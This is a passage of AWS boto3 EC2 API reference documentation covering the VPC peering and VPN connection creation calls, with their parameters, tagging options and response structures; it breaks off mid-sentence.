more information, see [How to Ensure Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Run_Instance_Idempotency.html) . +* **TagSpecifications** (_list_) -- + + The tags to associate with the service. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id266)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id268)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ServiceConfiguration': { + 'ServiceType': [ + { + 'ServiceType': 'Interface'|'Gateway'|'GatewayLoadBalancer' + }, + ], + 'ServiceId': 'string', + 'ServiceName': 'string', + 'ServiceState': 'Pending'|'Available'|'Deleting'|'Deleted'|'Failed', + 'AvailabilityZones': [ + 'string', + ], + 'AcceptanceRequired': True|False, + 'ManagesVpcEndpoints': True|False, + 'NetworkLoadBalancerArns': [ + 'string', + ], + 'GatewayLoadBalancerArns': [ + 'string', + ], + 'BaseEndpointDnsNames': [ + 'string', + ], + 'PrivateDnsName': 'string', + 'PrivateDnsNameConfiguration': { + 'State': 'pendingVerification'|'verified'|'failed', + 'Type': 'string', + 'Value': 'string', + 'Name': 'string' + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + 'ClientToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **ServiceConfiguration** _(dict) --_ + + Information about the service configuration. + + * **ServiceType** _(list) --_ + + The type of service. + + * _(dict) --_ + + Describes the type of service for a VPC endpoint. + + * **ServiceType** _(string) --_ + + The type of service. + + * **ServiceId** _(string) --_ + + The ID of the service. + + * **ServiceName** _(string) --_ + + The name of the service. + + * **ServiceState** _(string) --_ + + The service state. + + * **AvailabilityZones** _(list) --_ + + The Availability Zones in which the service is available. + + * _(string) --_ + * **AcceptanceRequired** _(boolean) --_ + + Indicates whether requests from other AWS accounts to create an endpoint to the service must first be accepted. + + * **ManagesVpcEndpoints** _(boolean) --_ + + Indicates whether the service manages its VPC endpoints. Management of the service VPC endpoints using the VPC endpoint API is restricted. + + * **NetworkLoadBalancerArns** _(list) --_ + + The Amazon Resource Names (ARNs) of the Network Load Balancers for the service. + + * _(string) --_ + * **GatewayLoadBalancerArns** _(list) --_ + + The Amazon Resource Names (ARNs) of the Gateway Load Balancers for the service. + + * _(string) --_ + * **BaseEndpointDnsNames** _(list) --_ + + The DNS names for the service. + + * _(string) --_ + * **PrivateDnsName** _(string) --_ + + The private DNS name for the service. + + * **PrivateDnsNameConfiguration** _(dict) --_ + + Information about the endpoint service private DNS name configuration. + + * **State** _(string) --_ + + The verification state of the VPC endpoint service. + + >Consumers of the endpoint service can use the private name only when the state is verified . + + * **Type** _(string) --_ + + The endpoint service verification type, for example TXT. + + * **Value** _(string) --_ + + The value the service provider adds to the private DNS name domain record before verification. + + * **Name** _(string) --_ + + The name of the record subdomain the service provider needs to create. The service provider adds the value text to the name . + + * **Tags** _(list) --_ + + Any tags assigned to the service. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **ClientToken** _(string) --_ + + Unique, case-sensitive identifier that you provide to ensure the idempotency of the request. + + +create_vpc_peering_connection(kwargs_) + +Requests a VPC peering connection between two VPCs: a requester VPC that you own and an accepter VPC with which to create the connection. The accepter VPC can belong to another AWS account and can be in a different Region to the requester VPC. The requester VPC and accepter VPC cannot have overlapping CIDR blocks. + +Note + +Limitations and rules apply to a VPC peering connection. For more information, see the [limitations](https://docs.aws.amazon.com/vpc/latest/peering/vpc-peering-basics.html#vpc-peering-limitations) section in the _VPC Peering Guide_ . + +The owner of the accepter VPC must accept the peering request to activate the peering connection. The VPC peering connection request expires after 7 days, after which it cannot be accepted or rejected. + +If you create a VPC peering connection request between VPCs with overlapping CIDR blocks, the VPC peering connection has a status of failed . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateVpcPeeringConnection) + +**Request Syntax** + +response = client.create_vpc_peering_connection( + DryRun=True|False, + PeerOwnerId='string', + PeerVpcId='string', + VpcId='string', + PeerRegion='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **PeerOwnerId** (_string_) -- + + The AWS account ID of the owner of the accepter VPC. + + Default: Your AWS account ID + +* **PeerVpcId** (_string_) -- The ID of the VPC with which you are creating the VPC peering connection. You must specify this parameter in the request. +* **VpcId** (_string_) -- The ID of the requester VPC. You must specify this parameter in the request. +* **PeerRegion** (_string_) -- + + The Region code for the accepter VPC, if the accepter VPC is located in a Region other than the Region in which you make the request. + + Default: The Region in which you make the request. + +* **TagSpecifications** (_list_) -- + + The tags to assign to the peering connection. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id271)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id273)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'VpcPeeringConnection': { + 'AccepterVpcInfo': { + 'CidrBlock': 'string', + 'Ipv6CidrBlockSet': [ + { + 'Ipv6CidrBlock': 'string' + }, + ], + 'CidrBlockSet': [ + { + 'CidrBlock': 'string' + }, + ], + 'OwnerId': 'string', + 'PeeringOptions': { + 'AllowDnsResolutionFromRemoteVpc': True|False, + 'AllowEgressFromLocalClassicLinkToRemoteVpc': True|False, + 'AllowEgressFromLocalVpcToRemoteClassicLink': True|False + }, + 'VpcId': 'string', + 'Region': 'string' + }, + 'ExpirationTime': datetime(2015, 1, 1), + 'RequesterVpcInfo': { + 'CidrBlock': 'string', + 'Ipv6CidrBlockSet': [ + { + 'Ipv6CidrBlock': 'string' + }, + ], + 'CidrBlockSet': [ + { + 'CidrBlock': 'string' + }, + ], + 'OwnerId': 'string', + 'PeeringOptions': { + 'AllowDnsResolutionFromRemoteVpc': True|False, + 'AllowEgressFromLocalClassicLinkToRemoteVpc': True|False, + 'AllowEgressFromLocalVpcToRemoteClassicLink': True|False + }, + 'VpcId': 'string', + 'Region': 'string' + }, + 'Status': { + 'Code': 'initiating-request'|'pending-acceptance'|'active'|'deleted'|'rejected'|'failed'|'expired'|'provisioning'|'deleting', + 'Message': 'string' + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'VpcPeeringConnectionId': 'string' + } +} + +**Response Structure** + +* _(dict) --_ + + * **VpcPeeringConnection** _(dict) --_ + + Information about the VPC peering connection. + + * **AccepterVpcInfo** _(dict) --_ + + Information about the accepter VPC. CIDR block information is only returned when describing an active VPC peering connection. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block for the VPC. + + * **Ipv6CidrBlockSet** _(list) --_ + + The IPv6 CIDR block for the VPC. + + * _(dict) --_ + + Describes an IPv6 CIDR block. + + * **Ipv6CidrBlock** _(string) --_ + + The IPv6 CIDR block. + + * **CidrBlockSet** _(list) --_ + + Information about the IPv4 CIDR blocks for the VPC. + + * _(dict) --_ + + Describes an IPv4 CIDR block. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block. + + * **OwnerId** _(string) --_ + + The AWS account ID of the VPC owner. + + * **PeeringOptions** _(dict) --_ + + Information about the VPC peering connection options for the accepter or requester VPC. + + * **AllowDnsResolutionFromRemoteVpc** _(boolean) --_ + + Indicates whether a local VPC can resolve public DNS hostnames to private IP addresses when queried from instances in a peer VPC. + + * **AllowEgressFromLocalClassicLinkToRemoteVpc** _(boolean) --_ + + Indicates whether a local ClassicLink connection can communicate with the peer VPC over the VPC peering connection. + + * **AllowEgressFromLocalVpcToRemoteClassicLink** _(boolean) --_ + + Indicates whether a local VPC can communicate with a ClassicLink connection in the peer VPC over the VPC peering connection. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **Region** _(string) --_ + + The Region in which the VPC is located. + + * **ExpirationTime** _(datetime) --_ + + The time that an unaccepted VPC peering connection will expire. + + * **RequesterVpcInfo** _(dict) --_ + + Information about the requester VPC. CIDR block information is only returned when describing an active VPC peering connection. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block for the VPC. + + * **Ipv6CidrBlockSet** _(list) --_ + + The IPv6 CIDR block for the VPC. + + * _(dict) --_ + + Describes an IPv6 CIDR block. + + * **Ipv6CidrBlock** _(string) --_ + + The IPv6 CIDR block. + + * **CidrBlockSet** _(list) --_ + + Information about the IPv4 CIDR blocks for the VPC. + + * _(dict) --_ + + Describes an IPv4 CIDR block. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block. + + * **OwnerId** _(string) --_ + + The AWS account ID of the VPC owner. + + * **PeeringOptions** _(dict) --_ + + Information about the VPC peering connection options for the accepter or requester VPC. + + * **AllowDnsResolutionFromRemoteVpc** _(boolean) --_ + + Indicates whether a local VPC can resolve public DNS hostnames to private IP addresses when queried from instances in a peer VPC. + + * **AllowEgressFromLocalClassicLinkToRemoteVpc** _(boolean) --_ + + Indicates whether a local ClassicLink connection can communicate with the peer VPC over the VPC peering connection. + + * **AllowEgressFromLocalVpcToRemoteClassicLink** _(boolean) --_ + + Indicates whether a local VPC can communicate with a ClassicLink connection in the peer VPC over the VPC peering connection. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **Region** _(string) --_ + + The Region in which the VPC is located. + + * **Status** _(dict) --_ + + The status of the VPC peering connection. + + * **Code** _(string) --_ + + The status of the VPC peering connection. + + * **Message** _(string) --_ + + A message that provides more information about the status, if applicable. + + * **Tags** _(list) --_ + + Any tags assigned to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection. + + +create_vpn_connection(kwargs_) + +Creates a VPN connection between an existing virtual private gateway or transit gateway and a customer gateway. The supported connection type is ipsec.1 . + +The response includes information that you need to give to your network administrator to configure your customer gateway. + +Warning + +We strongly recommend that you use HTTPS when calling this operation because the response contains sensitive cryptographic information for configuring your customer gateway device. + +If you decide to shut down your VPN connection for any reason and later create a new VPN connection, you must reconfigure your customer gateway with the new information returned from this call. + +This is an idempotent operation. If you perform the operation more than once, Amazon EC2 doesn't return an error. + +For more information, see [AWS Site-to-Site VPN](https://docs.aws.amazon.com/vpn/latest/s2svpn/VPC_VPN.html) in the _AWS Site-to-Site VPN User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateVpnConnection) + +**Request Syntax** + +response = client.create_vpn_connection( + CustomerGatewayId='string', + Type='string', + VpnGatewayId='string', + TransitGatewayId='string', + DryRun=True|False, + Options={ + 'EnableAcceleration': True|False, + 'StaticRoutesOnly': True|False, + 'TunnelInsideIpVersion': 'ipv4'|'ipv6', + 'TunnelOptions': [ + { + 'TunnelInsideCidr': 'string', + 'TunnelInsideIpv6Cidr': 'string', + 'PreSharedKey': 'string', + 'Phase1LifetimeSeconds': 123, + 'Phase2LifetimeSeconds': 123, + 'RekeyMarginTimeSeconds': 123, + 'RekeyFuzzPercentage': 123, + 'ReplayWindowSize': 123, + 'DPDTimeoutSeconds': 123, + 'DPDTimeoutAction': 'string', + 'Phase1EncryptionAlgorithms': [ + { + 'Value': 'string' + }, + ], + 'Phase2EncryptionAlgorithms': [ + { + 'Value': 'string' + }, + ], + 'Phase1IntegrityAlgorithms': [ + { + 'Value': 'string' + }, + ], + 'Phase2IntegrityAlgorithms': [ + { + 'Value': 'string' + }, + ], + 'Phase1DHGroupNumbers': [ + { + 'Value': 123 + }, + ], + 'Phase2DHGroupNumbers': [ + { + 'Value': 123 + }, + ], + 'IKEVersions': [ + { + 'Value': 'string' + }, + ], + 'StartupAction': 'string' + }, + ], + 'LocalIpv4NetworkCidr': 'string', + 'RemoteIpv4NetworkCidr': 'string', + 'LocalIpv6NetworkCidr': 'string', + 'RemoteIpv6NetworkCidr': 'string' + }, + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +* **CustomerGatewayId** (_string_) -- + + **[REQUIRED]** + + The ID of the customer gateway. + +* **Type** (_string_) -- + + **[REQUIRED]** + + The type of VPN connection (ipsec.1 ). + +* **VpnGatewayId** (_string_) -- The ID of the virtual private gateway. If you specify a virtual private gateway, you cannot specify a transit gateway. +* **TransitGatewayId** (_string_) -- The ID of the transit gateway. If you specify a transit gateway, you cannot specify a virtual private gateway. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Options** (_dict_) -- + + The options for the VPN connection. + + * **EnableAcceleration** _(boolean) --_ + + Indicate whether to enable acceleration for the VPN connection. + + Default: false + + * **StaticRoutesOnly** _(boolean) --_ + + Indicate whether the VPN connection uses static routes only. If you are creating a VPN connection for a device that does not support BGP, you must specify true . Use CreateVpnConnectionRoute to create a static route. + + Default: false + + * **TunnelInsideIpVersion** _(string) --_ + + Indicate whether the VPN tunnels process IPv4 or IPv6 traffic. + + Default: ipv4 + + * **TunnelOptions** _(list) --_ + + The tunnel options for the VPN connection. + + * _(dict) --_ + + The tunnel options for a single VPN tunnel. + + * **TunnelInsideCidr** _(string) --_ + + The range of inside IPv4 addresses for the tunnel. Any specified CIDR blocks must be unique across all VPN connections that use the same virtual private gateway. + + Constraints: A size /30 CIDR block from the 169.254.0.0/16 range. The following CIDR blocks are reserved and cannot be used: + + * 169.254.0.0/30 + * 169.254.1.0/30 + * 169.254.2.0/30 + * 169.254.3.0/30 + * 169.254.4.0/30 + * 169.254.5.0/30 + * 169.254.169.252/30 + * **TunnelInsideIpv6Cidr** _(string) --_ + + The range of inside IPv6 addresses for the tunnel. Any specified CIDR blocks must be unique across all VPN connections that use the same transit gateway. + + Constraints: A size /126 CIDR block from the local fd00::/8 range. + + * **PreSharedKey** _(string) --_ + + The pre-shared key (PSK) to establish initial authentication between the virtual private gateway and customer gateway. + + Constraints: Allowed characters are alphanumeric characters, periods (.), and underscores (_). Must be between 8 and 64 characters in length and cannot start with zero (0). + + * **Phase1LifetimeSeconds** _(integer) --_ + + The lifetime for phase 1 of the IKE negotiation, in seconds. + + Constraints: A value between 900 and 28,800. + + Default: 28800 + + * **Phase2LifetimeSeconds** _(integer) --_ + + The lifetime for phase 2 of the IKE negotiation, in seconds. + + Constraints: A value between 900 and 3,600. The value must be less than the value for Phase1LifetimeSeconds . + + Default: 3600 + + * **RekeyMarginTimeSeconds** _(integer) --_ + + The margin time, in seconds, before the phase 2 lifetime expires, during which the AWS side of the VPN connection performs an IKE rekey. The exact time of the rekey is randomly selected based on the value for RekeyFuzzPercentage . + + Constraints: A value between 60 and half of Phase2LifetimeSeconds . + + Default: 540 + + * **RekeyFuzzPercentage** _(integer) --_ + + The percentage of the rekey window (determined by RekeyMarginTimeSeconds ) during which the rekey time is randomly selected. + + Constraints: A value between 0 and 100. + + Default: 100 + + * **ReplayWindowSize** _(integer) --_ + + The number of packets in an IKE replay window. + + Constraints: A value between 64 and 2048. + + Default: 1024 + + * **DPDTimeoutSeconds** _(integer) --_ + + The number of seconds after which a DPD timeout occurs. + + Constraints: A value between 0 and 30. + + Default: 30 + + * **DPDTimeoutAction** _(string) --_ + + The action to take after DPD timeout occurs. Specify restart to restart the IKE initiation. Specify clear to end the IKE session. + + Valid Values: clear | none | restart + + Default: clear + + * **Phase1EncryptionAlgorithms** _(list) --_ + + One or more encryption algorithms that are permitted for the VPN tunnel for phase 1 IKE negotiations. + + Valid values: AES128 | AES256 | AES128-GCM-16 | AES256-GCM-16 + + * _(dict) --_ + + Specifies the encryption algorithm for the VPN tunnel for phase 1 IKE negotiations. + + * **Value** _(string) --_ + + The value for the encryption algorithm. + + * **Phase2EncryptionAlgorithms** _(list) --_ + + One or more encryption algorithms that are permitted for the VPN tunnel for phase 2 IKE negotiations. + + Valid values: AES128 | AES256 | AES128-GCM-16 | AES256-GCM-16 + + * _(dict) --_ + + Specifies the encryption algorithm for the VPN tunnel for phase 2 IKE negotiations. + + * **Value** _(string) --_ + + The encryption algorithm. + + * **Phase1IntegrityAlgorithms** _(list) --_ + + One or more integrity algorithms that are permitted for the VPN tunnel for phase 1 IKE negotiations. + + Valid values: SHA1 | SHA2-256 | SHA2-384 | SHA2-512 + + * _(dict) --_ + + Specifies the integrity algorithm for the VPN tunnel for phase 1 IKE negotiations. + + * **Value** _(string) --_ + + The value for the integrity algorithm. + + * **Phase2IntegrityAlgorithms** _(list) --_ + + One or more integrity algorithms that are permitted for the VPN tunnel for phase 2 IKE negotiations. + + Valid values: SHA1 | SHA2-256 | SHA2-384 | SHA2-512 + + * _(dict) --_ + + Specifies the integrity algorithm for the VPN tunnel for phase 2 IKE negotiations. + + * **Value** _(string) --_ + + The integrity algorithm. + + * **Phase1DHGroupNumbers** _(list) --_ + + One or more Diffie-Hellman group numbers that are permitted for the VPN tunnel for phase 1 IKE negotiations. + + Valid values: 2 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 + + * _(dict) --_ + + Specifies a Diffie-Hellman group number for the VPN tunnel for phase 1 IKE negotiations. + + * **Value** _(integer) --_ + + The Diffie-Hellmann group number. + + * **Phase2DHGroupNumbers** _(list) --_ + + One or more Diffie-Hellman group numbers that are permitted for the VPN tunnel for phase 2 IKE negotiations. + + Valid values: 2 | 5 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 + + * _(dict) --_ + + Specifies a Diffie-Hellman group number for the VPN tunnel for phase 2 IKE negotiations. + + * **Value** _(integer) --_ + + The Diffie-Hellmann group number. + + * **IKEVersions** _(list) --_ + + The IKE versions that are permitted for the VPN tunnel. + + Valid values: ikev1 | ikev2 + + * _(dict) --_ + + The IKE version that is permitted for the VPN tunnel. + + * **Value** _(string) --_ + + The IKE version. + + * **StartupAction** _(string) --_ + + The action to take when the establishing the tunnel for the VPN connection. By default, your customer gateway device must initiate the IKE negotiation and bring up the tunnel. Specify start for AWS to initiate the IKE negotiation. + + Valid Values: add | start + + Default: add + + * **LocalIpv4NetworkCidr** _(string) --_ + + The IPv4 CIDR on the customer gateway (on-premises) side of the VPN connection. + + Default: 0.0.0.0/0 + + * **RemoteIpv4NetworkCidr** _(string) --_ + + The IPv4 CIDR on the AWS side of the VPN connection. + + Default: 0.0.0.0/0 + + * **LocalIpv6NetworkCidr** _(string) --_ + + The IPv6 CIDR on the customer gateway (on-premises) side of the VPN connection. + + Default: ::/0 + + * **RemoteIpv6NetworkCidr** _(string) --_ + + The IPv6 CIDR on the AWS side of the VPN connection. + + Default: ::/0 + +* **TagSpecifications** (_list_) -- + + The tags to apply to the VPN connection. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id276)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id278)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'VpnConnection': { + 'CustomerGatewayConfiguration': 'string', + 'CustomerGatewayId': 'string', + 'Category': 'string', + 'State': 'pending'|'available'|'deleting'|'deleted', + 'Type': 'ipsec.1', + 'VpnConnectionId': 'string', + 'VpnGatewayId': 'string', + 'TransitGatewayId': 'string', + 'Options': { + 'EnableAcceleration': True|False, + 'StaticRoutesOnly': True|False, + 'LocalIpv4NetworkCidr': 'string', + 'RemoteIpv4NetworkCidr': 'string', + 'LocalIpv6NetworkCidr': 'string', + 'RemoteIpv6NetworkCidr': 'string', + 'TunnelInsideIpVersion': 'ipv4'|'ipv6', + 'TunnelOptions': [ + { + 'OutsideIpAddress': 'string', + 'TunnelInsideCidr': 'string', + 'TunnelInsideIpv6Cidr': 'string', + 'PreSharedKey': 'string', + 'Phase1LifetimeSeconds': 123, + 'Phase2LifetimeSeconds': 123, + 'RekeyMarginTimeSeconds': 123, + 'RekeyFuzzPercentage': 123, + 'ReplayWindowSize': 123, + 'DpdTimeoutSeconds': 123, + 'DpdTimeoutAction': 'string', + 'Phase1EncryptionAlgorithms': [ + { + 'Value': 'string' + }, + ], + 'Phase2EncryptionAlgorithms': [ + { + 'Value': 'string' + }, + ], + 'Phase1IntegrityAlgorithms': [ + { + 'Value': 'string' + }, + ], + 'Phase2IntegrityAlgorithms': [ + { + 'Value': 'string' + }, + ], + 'Phase1DHGroupNumbers': [ + { + 'Value': 123 + }, + ], + 'Phase2DHGroupNumbers': [ + { + 'Value': 123 + }, + ], + 'IkeVersions': [ + { + 'Value': 'string' + }, + ], + 'StartupAction': 'string' + }, + ] + }, + 'Routes': [ + { + 'DestinationCidrBlock': 'string', + 'Source': 'Static', + 'State': 'pending'|'available'|'deleting'|'deleted' + }, + ], + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'VgwTelemetry': [ + { + 'AcceptedRouteCount': 123, + 'LastStatusChange': datetime(2015, 1, 1), + 'OutsideIpAddress': 'string', + 'Status': 'UP'|'DOWN', + 'StatusMessage': 'string', + 'CertificateArn': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of CreateVpnConnection. + + * **VpnConnection** _(dict) --_ + + Information about the VPN connection. + + * **CustomerGatewayConfiguration** _(string) --_ + + The configuration information for the VPN connection's customer gateway (in the native XML format). This element is always present in the CreateVpnConnection response; however, it's present in the DescribeVpnConnections response only if the VPN connection is in the pending or available state. + + * **CustomerGatewayId** _(string) --_ + + The ID of the customer gateway at your end of the VPN connection. + + * **Category** _(string) --_ + + The category of the VPN connection. A value of VPN indicates an AWS VPN connection. A value of VPN-Classic indicates an AWS Classic VPN connection. + + * **State** _(string) --_ + + The current state of the VPN connection. + + * **Type** _(string) --_ + + The type of VPN connection. + + * **VpnConnectionId** _(string) --_ + + The ID of the VPN connection. + + * **VpnGatewayId** _(string) --_ + + The ID of the virtual private gateway at the AWS side of the VPN connection. + + * **TransitGatewayId** _(string) --_ + + The ID of the transit gateway associated with the VPN connection. + + * **Options** _(dict) --_ + + The VPN connection options. + + * **EnableAcceleration** _(boolean) --_ + + Indicates whether acceleration is enabled for the VPN connection. + + * **StaticRoutesOnly** _(boolean) --_ + + Indicates whether the VPN connection uses static routes only. Static routes must be used for devices that don't support BGP. + + * **LocalIpv4NetworkCidr** _(string) --_ + + The IPv4 CIDR on the customer gateway (on-premises) side of the VPN connection. + + * **RemoteIpv4NetworkCidr** _(string) --_ + + The IPv4 CIDR on the AWS side of the VPN connection. + + * **LocalIpv6NetworkCidr** _(string) --_ + + The IPv6 CIDR on the customer gateway (on-premises) side of the VPN connection. + + * **RemoteIpv6NetworkCidr** _(string) --_ + + The IPv6 CIDR on the AWS side of the VPN connection. + + * **TunnelInsideIpVersion** _(string) --_ + + Indicates whether the VPN tunnels process IPv4 or IPv6 traffic. + + * **TunnelOptions** _(list) --_ + + Indicates the VPN tunnel options. + + * _(dict) --_ + + The VPN tunnel options. + + * **OutsideIpAddress** _(string) --_ + + The external IP address of the VPN tunnel. + + * **TunnelInsideCidr** _(string) --_ + + The range of inside IPv4 addresses for the tunnel. + + * **TunnelInsideIpv6Cidr** _(string) --_ + + The range of inside IPv6 addresses for the tunnel. + + * **PreSharedKey** _(string) --_ + + The pre-shared key (PSK) to establish initial authentication between the virtual private gateway and the customer gateway. + + * **Phase1LifetimeSeconds** _(integer) --_ + + The lifetime for phase 1 of the IKE negotiation, in seconds. + + * **Phase2LifetimeSeconds** _(integer) --_ + + The lifetime for phase 2 of the IKE negotiation, in seconds. + + * **RekeyMarginTimeSeconds** _(integer) --_ + + The margin time, in seconds, before the phase 2 lifetime expires, during which the AWS side of the 